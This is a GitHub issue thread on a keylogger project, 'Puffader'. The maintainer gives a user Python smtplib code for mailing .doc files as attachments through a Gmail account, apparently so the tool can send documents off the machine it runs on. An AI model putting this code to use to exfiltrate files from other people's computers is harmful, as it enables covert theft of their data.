xp4xbox / Puffader

Python 2.7 is obsolete, please use https://github.com/xp4xbox/Python-Keylogger
MIT License
50 stars 27 forks source link

How can I send .doc file as attachment? #68

Closed ghost closed 5 years ago

ghost commented 5 years ago

OS: [e.g. Windows 10] Commit/Build: [e.g. b227928]

I am trying to mail .doc files but as i m new to python, can't figure the way out. Kindly guide me.........

xp4xbox commented 5 years ago

Like kinda like this.

objMsg = MIMEMultipart()
objMsg["Subject"] = "SUBJECT"

filename = "text.doc"
f = file(filename)
attachment = MIMEText(f.read())
attachment.add_header('Content-Disposition', 'attachment', filename=filename)           
objMsg.attach(attachment)

SmtpServer = smtplib.SMTP_SSL("smtp.gmail.com", 465); SmtpServer.ehlo()
SmtpServer.login(strEmailAc, strEmailPass)
SmtpServer.sendmail(strEmailAc, strEmailAc, objMsg.as_string())
SmtpServer.close()
ghost commented 5 years ago

Corrupted doc attachment. Can't open it And Thanks for prompt reply.

xp4xbox commented 5 years ago

You probably have to add, f.close() after the attachment = MIMEText(f.read()).

Also make sure you are using correct path.

ghost commented 5 years ago

Again same error i think that the file cannot be opened in text format. any other way to send it Thanks in advance

xp4xbox commented 5 years ago

Maybe try opening file as byte. So f = file(filename, "rb")

ghost commented 5 years ago

It's almost resolve but the attachment is still corrupted. Instead the body of the email contain the matter present in .doc file

But it comes with lot of residue. Thanks in advance

xp4xbox commented 5 years ago

https://stackoverflow.com/questions/11921188/how-to-send-email-with-pdf-attachment-in-python

Here is how. Should work with doc.

ghost commented 5 years ago

Thanks, Solved